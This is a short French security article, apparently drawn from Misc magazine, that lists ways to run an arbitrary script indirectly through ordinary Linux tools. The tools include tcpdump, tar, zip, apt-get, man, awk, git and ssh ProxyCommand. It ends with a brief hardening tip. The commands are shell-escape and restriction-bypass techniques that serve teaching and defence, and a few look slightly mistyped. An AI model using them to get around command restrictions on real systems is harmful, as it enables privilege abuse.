Exécution détourné de commande
1.Présentation
Le but de cet article est de montrer comment il est possible d'arriver à exécuter un script runme.sh sans l'appeler directement depuis Bash.
Le script est le suivant :
#! /bin/bash echo "Hacker forever !" echo "Remember it !"
2.Exploitation
Nous allons utiliser des commandes de bases présentes sur les systèmes d'exploitation Linux pour parvenir à nos fins.
2.1 TCPDUMP
tcpdump -n -i -lo -G1 -w /dev/null -z ./runme.sh
2.2 SERVICE
service ../../tmp/runme.sh
2.3 APT-GET
echo 'Dpkg::Pre-invoke {"~/tmp/runme.sh";};' > dpkg-opts apt-get install coway -c=dpkg-opts
2.4 TAR
Première manière :
tar c a.tar -I ./runme.sh a
Seconde manière :
tar cvf a.tar runme.sh --checkpoint-action=exec='sh ./runme.sh' --checkpoint=1
2.5 ZIP
zip z.zip runme.sh -T -TT ./runme.sh
2.6 MAN
man -P /tmp/runme.sh man
2.7 FIND
find . -name runme.sh -exec ./runme.sh \;
2.9 FTP
ftp ! ./runme.sh
2.10 AWK
awk 'BEGIN {system("./runme.sh")}'
2.11 GIT
Nous allons modifier la variable d'environnement PATH.
export PATH=/tmp:$PATH ln -sf /tmp/runme.sh /tmp/git-help git --exec-path=/tmp help
2.12 SSH
$ cat .ssh/config Host server Hostname server.corp ProxyCommand /tmp/runme.sh
3.Comment se protéger
Il faut bien paramétrer les droits sur votre système Linux pour que les utilisateurs n'est pas accès à des commandes non nécessaires.
Source : Misc n°83 janvier/février 2016